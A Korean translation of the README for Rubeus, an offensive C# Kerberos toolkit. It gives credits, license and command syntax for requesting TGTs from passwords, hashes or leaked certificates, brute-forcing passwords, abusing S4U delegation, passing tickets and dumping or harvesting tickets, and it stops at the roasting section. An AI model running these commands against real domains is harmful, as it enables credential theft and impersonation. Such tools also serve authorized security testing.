
원시 Kerberos 상호작용 및 악용을 위한 C# 도구 모음: TGT/TGS 요청, S4U 위임 악용, Kerberoasting, AS-REP roasting, 티켓 수집.
Rubeus는 원시 Kerberos 상호작용 및 악용을 위한 C# 도구 모음입니다. 이 도구는 Benjamin Delpy의 Kekeo 프로젝트(CC BY-NC-SA 4.0 라이선스)와 Vincent LE TOUX의 MakeMeEnterpriseAdmin 프로젝트(GPL v3.0 라이선스)에서 대폭 각색되었습니다. 무기화의 어려운 구성 요소를 해결한 Benjamin과 Vincent에게 모든 공로가 돌아갑니다. 그들의 선행 작업이 없었다면 이 프로젝트는 존재하지 않았을 것입니다.
Charlie Clark와 Ceri Coburn은 둘 다 Rubeus 코드베이스에 중대한 기여를 했습니다. Elad Shamir는 리소스 기반 제한 위임을 위한 몇 가지 필수 작업에 기여했습니다. 그들의 작업에 깊이 감사드립니다!
Rubeus는 또한 Thomas Pornin이 "MIT 유사" 라이선스로 공개한 DDer라는 C# ASN.1 파싱/인코딩 라이브러리를 사용합니다. 깔끔하고 안정적인 코드를 제공한 Thomas에게 큰 감사를 드립니다!
PKINIT 코드는 @SteveSyfuhs의 Bruce 도구에서 대폭 각색되었습니다. Bruce는 RFC4556(PKINIT)을 훨씬 이해하기 쉽게 만들어 주었습니다. Steve에게 큰 감사를 드립니다!
Kerberoasting을 위한 KerberosRequestorSecurityToken.GetRequest 메서드는 @machosec이 PowerView에 기여했으며(그 후 Rubeus에 통합됨) 제공되었습니다.
@harmj0y가 이 코드베이스의 주요 저자입니다.
Rubeus는 BSD 3-Clause 라이선스에 따라 라이선스가 부여됩니다.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
티켓 요청 및 갱신:
사용자 비밀번호/해시를 기반으로 TGT를 검색하고, 선택적으로 파일에 저장하거나 현재 로그온 세션 또는 특정 LUID에 적용합니다:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
사용자 비밀번호/해시를 기반으로 TGT를 검색하고, /netonly 프로세스를 시작한 뒤 티켓을 새 프로세스/로그온 세션에 적용합니다:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
PCKS12 인증서를 사용하여 TGT를 검색하고, /netonly 프로세스를 시작한 뒤 티켓을 새 프로세스/로그온 세션에 적용합니다:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
사용자 키스토어(Smartcard)의 인증서를 인증서 지문 또는 주체를 지정하여 사용해 TGT를 검색하고, /netonly 프로세스를 시작한 뒤 티켓을 새 프로세스/로그온 세션에 적용합니다:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
하나 이상의 SPN에 대한 서비스 티켓을 검색하고, 선택적으로 티켓을 저장하거나 적용합니다:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
TGT를 갱신하고, 선택적으로 티켓을 적용하거나 저장하거나, 갱신 한도(renew-till)까지 티켓을 자동 갱신합니다:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Kerberos 기반 비밀번호 무차별 대입 공격을 수행합니다:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
제한된 위임 악용:
S4U 제한된 위임 악용을 수행합니다:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
도메인 간 S4U 제한된 위임 악용을 수행합니다:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
티켓 관리:
TGT를 제출하고, 선택적으로 특정 LUID를 대상으로 지정합니다(권한 상승된 경우):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
현재 로그온 세션에서 티켓을 제거하고, 선택적으로 특정 LUID를 대상으로 지정합니다(권한 상승된 경우):
Rubeus.exe purge [/luid:LOGINID]
티켓(서비스 티켓 또는 TGT)을 구문 분석하고 설명합니다:
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
티켓 추출 및 수집:
모든 현재 티켓을 분류합니다(권한 상승 시 모든 사용자에 대해 나열), 선택적으로 특정 LUID, 사용자 이름 또는 서비스를 대상으로 지정:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
모든 현재 티켓을 상세히 나열합니다(권한 상승 시 모든 사용자에 대해 나열), 선택적으로 특정 LUID를 대상으로 지정:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
모든 현재 티켓 데이터를 덤프합니다(권한 상승 시 모든 사용자에 대해 덤프), 선택적으로 특정 서비스/LUID를 대상으로 지정:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Kerberos GSS-API를 악용하여 위임을 위조함으로써 권한 상승 없이 현재 사용자에 대한 사용 가능한 TGT .kirbi(세션 키 포함)를 검색:
Rubeus.exe tgtdeleg [/target:SPN]
새로운 TGT를 /interval 초(기본값 60)마다 모니터링:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
새로운 TGT를 /monitorinterval 초(기본값 60)마다 모니터링하고, TGT를 자동 갱신하며, /displayinterval 초(기본값 1200)마다 작동 중인 캐시를 표시:
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Roasting: